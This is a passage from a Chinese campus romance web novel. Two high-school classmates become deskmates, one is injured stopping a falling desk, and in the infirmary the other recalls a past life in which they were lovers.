你朋友说的时候不制止,现在当马后炮,有什么意思,谢川心中暗嘲,却没说出口,他不想在这个地方,继续跟他争执一些有的没的问题。
他漠然地看了唐朔一眼,回了房间。
谢川当晚赶作业赶到了凌晨一点,还是有几张卷子没做完,实在撑不住倒头就睡。
长假结束后的第一天早晨,鸡飞狗跳、忙忙碌碌补作业的人占据了大半。
“以为把班长拉进了作业群就高枕无忧了,结果他只是发了解题思路!看得我脑子都快打结了。”
齐阳一边奋笔疾书,一边哀怨地吐槽,转头看见谢川不慌不忙地补英语卷子。
他疑惑:“你其他科都补完了?这么悠闲。”
“没有啊。”谢川眼皮都没掀一下,淡定自若,“化学老师查得不严,一般不会批改,不交他又不知道,物理…张宴凌晨两点的时候发了一部分答案,已经抄完了。”
“我靠!你们熬鹰啊,今早没看手机,怎么不早点告诉我!”
第一堂课,是班主任的英语,她没问作业情况,在投影仪上放出了成绩表。
“高二的第一次月考,总体来说还算不错,班级排名第三,以后继续努力。”
“在这里表扬一下英语成绩进步得比较大的同学……”
谢川头都没抬,压根不关心自己的成绩,昨晚睡得太晚,现在眼皮都在打架了。
困倦中,他仿佛听到了自己的名字,重复了好几次。
“谢川同学,对比上学期期末,从45分惊人的成绩进步到了65分,只要在进步,都是值得表扬的,谢川上台来领一下卷子。”
“……”
“谢川!”
“嗯?”被表扬的主角发出了睡意浓倦地疑问,一抬头看见秦瑛压制怒气的脸,还有其他同学憋笑的样子。
齐阳一脸默哀地看他,说:“让你上去拿卷子。”
“哦。”
他上去领了,秦瑛把卷子卷成筒,狠狠地敲了一下谢川脑袋:“困就去厕所洗把脸,晚上偷鸡去了困成这样…其他同学也一样,困的自觉去冲脸。”
谢川接过卷子,短暂礼貌地微笑:“谢谢,不困了。”
看到卷子上的分数后,谢川小小地惊了一下,说不高兴是假的,他英语常年徘徊在四十分左右,基本靠蒙。
没想到裴行砚给他补习了这么短的时间,就进步了20分。
他心里正琢磨着下课后要不去感谢人家一句,不然有点像白眼狼。
结果就听到秦瑛宣布了一个“好”消息。
“调整一下部分同学的座位,互帮互助才进步得快,一对一帮助。”
调整名单表格放在电脑上,谢川漫不经心地扫了一眼,就看到他的同桌从齐阳变成了裴行砚。
他石化了,好了,现在不用绕座位去感谢了,等会人家直接坐身边了。
班级骚动,有人欢呼有人哭泣。
齐阳也发现了变动,一嗓子哀嚎:“不是吧,我换到李黎旁边去了,她座位那么靠前!”
“川哥,今天我就要远航,你会舍不得我的吧!”
被推搡着哭丧的谢川面无表情,其实内心轻轻的碎掉了,表面还得装作镇定。
“哭个屁,我都没哭呢。”
本以为月考后就可以脱离魔爪,现在倒好,临时补习变成长期监工了。
虽然成绩升高了,但也是真痛苦。
齐阳收拾桌子的时候磨磨蹭蹭,转头一看,裴行砚已经提好书包站旁边等着他了。
“……”
齐阳:“马上马上,哈哈。”
冯逸元位置没变,还是前桌,张宴换过来了。
第二节课上课,谢川从厕所姗姗回班,化学老师还没来,一眼就瞅到了正在收拾桌面的裴行砚。
他看起来心情不错,从侧面望去,嘴角微微扬着的。
谢川暗想,这人在乐什么,从第三排变成了最后一排还挺高兴?
很快,下一个坏消息接踵而至,一向查得不严的化学老师突然检查起了作业。
化学老师是一个五十岁的老头,略显稀疏的头发被整齐地梳在一侧,微微有些发福,老是提着那泡着菊花茶的大号保温杯,总是笑嘻嘻的,看着和蔼又慈祥。
“没交化学作业的同学自己站起来吧,没做不是坏事,知错能改才是美德。”
稀稀拉拉地站了一波,谢川捂了捂脸,面如土色地站起来了。
老师满意地点点头,丝毫没有感到生气,继续说:“抄别人作业的也站起来吧,是自己做的还是抄的,我一眼就能看出来。”
这次是真较真了,又站起来几个,最后,整齐划一的全都站到了外边走廊,补作业。
一眼望去,嚯,全是熟人。
齐阳哀怨地盯着谢川:“你不是说化学老师查得不严吗!我就不交这一次,就被清查了……”
谢川装死,站在了离后门最近的最后一个,正尝试着找个舒服的姿势补作业,感觉到左边又站过来一个人。
他淡淡扫了一眼,定住了。
裴行砚捏着卷子和化学书背脊挺直地站着,跟他歪歪扭扭的站姿一对比,显得谢川跟二流子似的。
谢川记得,昨晚裴行砚在群里发了化学作业的解题思路,明显他是用心做了的,所以他跑出来干什么?
“你出来干嘛?”谢川不解。
“做漏了一张卷子。”裴行砚淡定回答。
谢川低眼看他写得满满的三张卷子,挑了挑眉。
“请问,我跟你做的是同一个作业吗?”
“诶诶,外面的同学不要说话,赶紧补完赶紧进来。”化学老师探出身来,巡逻了下。
被这么一打岔,谢川没兴趣问了,管他出来干嘛,可能不想坐教室里,想出来透气。
想补作业的心是好的,但做不做得明白就是另一回事了,谢川懒懒地撑着头,在草稿纸上写写画画,越算越烦躁,最后暴躁地甩了笔。
裴行砚眼神轻扫而过,继续自己手中的事情。
过了几分钟,旁边突然递过来一张纸。
写满了解题步骤的纸,谢川看了看,恰好是自己算了一半天还算不来的题。
“?”
是看他太笨,所以忍不住出手,给了个解题步骤?
谢川欲言又止,还是仔细看了起来,矫情没用,还不如早点做完早点进去。
这题解了,下一个推理大题又卡住了,谢川一烦躁就喜欢摁笔盖,咔咔的不停响。
又过了几分钟,一张纸又又递到他面前。
这次他没忍住,快速且冷漠的偏头问:“你到底出来干嘛来了?”
“做作业。”裴行砚依旧淡然。
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>“……”
谢川看明白了,做漏了卷子是假的,帮他写解题步骤才是真的。
呵,把秦瑛的话当军令的也只有他了。
把这行为都归咎于秦瑛早上说的互帮互助,谢川压根没意识到这行为有多偏爱。
而裴行砚也是心里乐呵着给他一道一道地写解题思路。
-
过了段时间,学校突然心血来潮的给高二高三来了个励志讲座,当天下午,众人欢呼,不上课干什么都有劲。
秦瑛在讲台上吩咐流程:“第二节课要开讲座,我们班出几个人去空教室搬课桌和椅子,到操场上。”
“有自愿的吗?”
几个男生唰唰地举手,被学习压榨得快没有其他娱乐活动,这个时候哪怕是体力劳动都有人争先恐后。
齐阳和冯逸元都举手了。
秦瑛点了点人:“才四个,再来两个男生。”
裴行砚本来在做习题,闻言抬起头来,他看了下倒在课桌上睡得香的同桌,犹豫了两秒举起了手。
“裴行砚你放下,等会儿你得跟我去操场组织纪律。”
她安排好裴行砚的事儿,转眼看见趴着睡得两耳不闻窗外事的谢川,秦瑛推了推眼镜,走了下去。
中间随手点了一个高壮的男生,走到谢川旁边后停下。
桌子“砰砰砰”的被扣响,谢川伸着的手指蜷动两下,脸还没完全抬起,不耐的声音先传出来,但因才醒,拖着软绵绵的调,“裴行砚……别闹。”
一旁正襟危坐的裴行砚:“……”
桌子继续扣响,谢川不得不完全把脸撑了起来,一眼看见是秦瑛,没有惊讶,只面无表情地撑了下额头。
秦瑛无语:“你还分得清现在是第几节课吗?”
“第一节下课。”谢川继续没有表情。
直到秦瑛下达命令:“等会你也去搬桌子。”
谢川茫然:“搬桌子干嘛?”他完全没听到要开讲座这个消息。
“吃饭。”秦瑛浅浅地翻了个白眼,上课铃响了,她急匆匆地撇下一句,“班长跟我走,前桌你给他解释解释。”
“其他同学在教室等通知啊。”
前桌冯逸元,此刻正憋笑得痛苦,他转身:“要开讲座,瑛姐选了几个人让我们搬桌子到操场上。”
“……哦。”
六个男生搬了两次,空教室离操场有点距离,第三次往返的时候都不免气喘吁吁,身上渗出汗水,谢川脱了外套,只剩一件单薄的短袖。
齐阳这趟只搬了一个桌子,手都开始酸了,余光看见谢川一手一个,惊叹:“我靠你不累的吗,三趟都是这样。”
谢川撇着眼睛瞅了他一眼,甚至还颠了下手里的桌子:“菜就多练。”
齐阳:“…………”
这一趟陆陆续续出来了不少学生,都在往操场上走,他们跟着队伍末尾,尽量避开了人群。
下楼梯时,刚到转拐,一个男生逆行着火急火燎的往上爬,期间差点撞到谢川,还好他躲避及时。
跟在他后面的那个同学就没能幸免了,低着头走路,左肩被疾驰的同学狠狠地撞了一下,眼见着身体不稳,连带着手中的课桌也摇摇晃晃,要是摔下去了,前面的人都得被砸伤,走廊上有不少学生。
谢川想都没想,放下自己手中的东西,三步并一步地跨上去,一手顶住课桌,一手稳住那男生的身形。
男生也是惊慌失措,一瞬间心都快跳出来。
搬了这么久,不免手酸,又猛地一下顶上去,谢川手软了一下,桌子滑下去一截,脚也随着惯性往下退了一步。
下一秒谢川面色痛苦,五官都扭曲了,还是咬着牙撑着把桌子稳稳地放了下去。
课桌是脱力被砸在地上的,前面的齐阳几人听见动静回头看去,见谢川已经半蹲着、蜷着腰捂住腹部,闭着眼冷汗直流。
21. 男朋友
撞人的那个早就跑没影了,被帮忙的那男生目瞪口呆,一时之间不知道发生了什么事,赶紧下去查看。
齐阳不管不顾地扔下桌子就往回跑,横在了楼梯中间,他也着急得蹲下来,询问道:“握草你怎么了谢川?!”
冯逸元紧随其后,锁定另外那个男生,问他:“发生什么事了?”
男生仍旧没缓过神,舌头都有点打结:“刚有个人撞了我,我…我站不稳,是谢川回头顶住了桌子和我,不然就,就摔下去了。”
“他应该是被砸到了肚子。”
有人围了过来,都好奇地左看右看想探个究竟。
谢川撑了下齐阳的手,刚才突来的一下实在太痛,现在稍稍缓过来了,他气息不稳地说:“别让他们围着。”
因为,谢川捂着腹部的那只手,摸到了湿黏的液体,见血了,还不少。
桌子是上几届淘汰下来的旧课桌,没有现在的美观和安全,桌肚是铁制的,边缘颇有些锋利,若是速度很快的划过去,很容易被伤到。
齐阳瞥到了旁边桌角尖的血迹,脸色沉了一分,听谢川的话朝周围吼了一句:“别围了,有什么好看的!”
现在是上课时间,都赶着去操场集合,齐阳这一嗓子,众人也就散了。
谢川慢慢地起身,红色的液体从指缝间渗透了些许,白色短袖变得脏污。
“我靠,赶紧去医务室,这他妈伤成这样了!”齐阳被血吓得不轻,扶着他就走。
冯逸元也担心:“你一个人能行吗?”
“可以。”齐阳回头说,“你们去操场跟班主任说下情况,我先带他过去…这他妈简直了。”
一路上齐阳都在叨叨,想走快点怕他血流干了,想背他又会压着伤口。
谢川忍不住了:“别嚷嚷了,没多大事,伤口应该不深,就血看着多。”
一句话让齐阳更来劲了:“能不急吗!上次看你流这么多血还是高一你被一群混子打,狗日的不讲良心带刀子。”
就这样一路嚷到了医务室,操场上,讲座即将开始,裴行砚清点人数发现少了两人,便问了同行的冯逸元。
“谢川和齐阳呢?”
冯逸元正张望着到处找班主任,没看见人就告诉裴行砚:“谢川受伤了,流了一手的血,齐阳陪他去医务室,你看见瑛姐……诶!你跑什么??”
话还没讲完,裴行砚脸色一变转身就往医务室的方向跑。
中途经过年级主任,喝止的话被疾跑的风逐渐落在身后:“裴…裴行砚?!往哪儿跑!讲座开始了!”
谢川一只手掀着衣摆,咬牙忍着医生给他消毒,期间脸色苍白了不少,本就白皙的肤色,如今更像一纸素稿。
十月底的天气,凉意逼人,谢川只着一身单薄的短袖,不知是冷的,还是疼的微微颤抖。
裴行砚一间一间的找过去,在看到熟悉的侧影时猛顿脚步。
医生已经包扎完毕,此刻只有他一人在房间里休息,谢川靠坐在床头,闭着眼睛,放了一个枕头在肚子上。裴行砚脚步放轻,跑得急,此刻胸膛还在高频率地起伏。
他看见谢川苍白干燥的嘴唇,出声时自己都没察觉的小心翼翼:“谢川…”
床上的人慢慢睁眼,看清来人后有点惊讶,心里疑惑,裴行砚怎么过来了?讲座早就开始,主任的德性,一旦有正式的活动,一般不会允许学生离开。
“你伤哪儿了?严不严重?”
在谢川眼中,一向冷淡的裴行砚很少有失态的时候,而现在他头发被风吹得凌乱不堪,面色急躁忧虑。
谢川愣了几秒,坐直了起来,回答:“不严重,小腹划了道口子而已。”
虽听见不严重,但裴行砚眸色还是沉了下来,嘴唇绷着:“我就离开了半小时,你又伤了。”
“为什么老是让自己受伤?”
话是质问,语气却是又心疼又生气。
问得谢川又愣了,裴行砚一进来就奇怪的很,作为朋友关心正常,但他就是觉得这关切,情绪很是不同,太过于急躁,不过也就一瞬,谢川没细想了,笑着怼回去。
“干嘛,又不是我愿意的,情况危急嘛。”
“要不是我,今天伤的人就更多了。”
裴行砚叹了口气,他了解谢川,总是这样,帮助别人而伤了自己,他也觉得值得。
“衣服掀开我看看。”
谢川拿开肚子上的枕头,因为衣服破了,也被血迹弄脏,染红了一大片,他就拿东西遮掩了一下。
裴行砚在看到血后身形一顿,面色陡然白了一度,直愣愣地站在那里,呼吸变得急促。
谢川注意到,被他的反应吓到了:“怎么了?”
他移开了视线,用手捂住了额头,撑着旁边的柜子,平复着呼吸。
谢川反应了一会儿,想到了一种可能:“你晕血啊?”
“呃…不好意思,你怎么不早点说。”
裴行砚没说话,他心中更疑惑,为什么突然晕血了,以前没这毛病的。半晌,他恢复过来,摇摇头:“没事…你遮一下就好了。”
属实没想到裴行砚居然晕血,谢川拉过一旁的被子,遮住有血迹的地方,裴行砚还一直盯着他,想起来他刚刚说要看伤来着。
这有什么好看的,都包扎好了,心里这么想,还是掀开了衣摆,又稍稍拉低了裤子,把纱布整个漏了出来。
腰侧凸起的那块骨头下,因皮肤过分的白,一颗浅浅的黑痣格外显眼,裴行砚眼神聚焦于此,愣怔住了,片刻间,迷惘般的失神,又夹杂着淡淡的痴迷。
他下意识地伸出手指,快要触摸上那片皮肤。
掀开的衣摆…隐秘的黑痣…
无数零星、碎片的记忆如潮水蔓延至脑海中各个角落。
月夜下的表白、恋爱的过往、温热用力的拥抱、难舍难分缱绻的亲吻……
各种片段。
是他与谢川。
他拥有过,热烈肆意爱过的谢川,即使记忆残缺,但意识仍旧被牵动,被羁绊着。
最开始涌进心中的那股强烈情绪,此刻都有了解释,谢川是他的男朋友。
裴行砚呼吸急促了起来,那只手仍未落下,嘴唇轻颤,再次看向他时,凝聚了两世浓倦的爱意泛滥。
化不开,无以言说。
但这些记忆中,还有一块笼罩着阴霾,窥见不了。
“你…想摸?”谢川在裴行砚匪夷所思的行为下,试探地问出了这句。
片刻又觉得自己脑子宕机了,问出这么个傻逼问题。
裴行砚没有答他的话,思绪归拢,收回了手指,暗着神色一点点地靠了过去,他半垂着眼睫,目光肆意地打量着谢川,距离近到细小的绒毛都看得清。
谢川忽地心跳加速,屏住呼吸,他僵住了,甚至忘记了要推开眼前的人。
他听见裴行砚的声音,是嘶哑的:“你不知道我是同性恋吗,还这么勾我?”
谢川脸色在很短的时间内变得红润,他冒出的第一个想法居然是,裴行砚声音怎么这么好听?
草了。
也忘记他喜欢男人这件事了,居然掀了衣服又问他想不想摸,谢川拳头都下意识攥紧了。
为了挽回颜面般,半晌憋出一句:“他妈的不是你让我掀衣服的吗?”
“我也没让你扯裤子啊?”悠悠地调笑,裴行砚滚
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了滚喉结。
后方哐当一声,似重物砸地,劈开了此刻暧昧又尴尬的氛围。
齐阳右手提着谢川的外套,他刚从教室跑过来,病房门大开,一眼就撞见了匪夷所思的画面,和堪称调情的对话。
他石化了,以至于手中的矿泉水瓶脱落。
“你…你们…不是……我……”
齐阳觉得自己发现了惊天大秘密,没有发觉谢川吃了苍蝇般的表情,把衣服放在凳子上,机械地转身走了。
需要消化一下。
谢川觉得伤口更疼了,咬着后槽牙瞪裴行砚:“你今天抽风是吧,逗我好玩吗,齐阳那傻子不知道会脑补出什么离谱剧情。”
裴行砚拿过他的外套,放到他腿上,没有接话,只微微挑眉。
谢川穿上后,又觉得自己的行为也有不妥,面无表情地说:“以后我会注意点,忘记了你是…那个。”
裴行砚始终没有说话,只是淡淡地盯着他,在心里盘算着,如果现在做出了什么过激的举动,谢川一定会被吓跑,哪怕是上一世,也是他慢慢追着,引导着,才让谢川喜欢上了自己。
所以,不能操之过急,但裴行砚又心痒难耐,男朋友就在眼前,却什么也做不了,又要重新追一次。
在医务室休息了一会,打算回教室,但裴行砚却领着他越走越偏。
“教室在另一个反向......你要去大门?”谢川疑惑。
裴行砚点头。
“哦,那你去吧,我先回教室了。”说着就转身往回走,下一刻手就被拽住。
“你跟我一起去。”裴行砚在谢川疑惑的眼神下,就这样拉他去了门卫室。
裴行砚站在门口打了个电话,像是在等人。
谢川幽怨地斜瞪他,小学生么,等个人还要拉个小伙伴。
但是他也没走,板着脸陪着。
很快,校门口停了一辆车,很熟悉,裴行砚已经跟门卫室的叔叔打好招呼,出校门拿了个袋子回来。
谢川没问是什么,他也不感兴趣,就想赶紧回教室趴着。
路上,遇见秦瑛,她快脚步地走过来,语气有些着急和担忧:“听说你被课桌砸伤了,有没有大事,需不需要去医院一趟?”
谢川摇头:“没什么事,就擦伤,过几天就好了。”
怕她担心,把伤往轻里了说。
秦瑛松了口气,毕竟是她喊谢川去搬东西的,自己也有责任,听他这样说放下心,让他们赶紧回教室上自习,又急匆匆走了。
拐角处是厕所,裴行砚又一次拉住谢川,将手中的袋子给他,“去换下衣服吧,还有两节课才放学,这样穿着不舒服。”
谢川是直接将外套拉链拉到顶的,虽然看不见血,也基本干涸了,但他总觉得不得劲,也只有忍着。
他有点惊讶,根本不知道裴行砚是什么时候找人送衣服的。
也没扭捏,谢川进厕所换衣服,现在是上课时间,里面没有人,他就没有进隔间。
袋子里的衣服是件黑色短袖,挺宽松,但瞅着有点眼熟,这玩意......好像是裴行砚自己的,还是穿过的。
为了印证这个猜想,谢川凑近衣服嗅了嗅,是裴行砚身上特有的清香。突然就觉得,这衣服有点烫手了呢......
门口,裴行砚随意往里一瞥,就看见谢川低头闻他衣服的画面,他眸色暗了点,明明没表情,却仿佛在笑。
双手扯住衣领,往外一带,衣服就离了身,露出清挺的肩背,背脊薄而直,少年感的青涩利落。
裴行砚的眼移不开了,呼吸都放轻,目光死死黏在谢川身上,无声无息,又藏着几分掩不住的沉迷。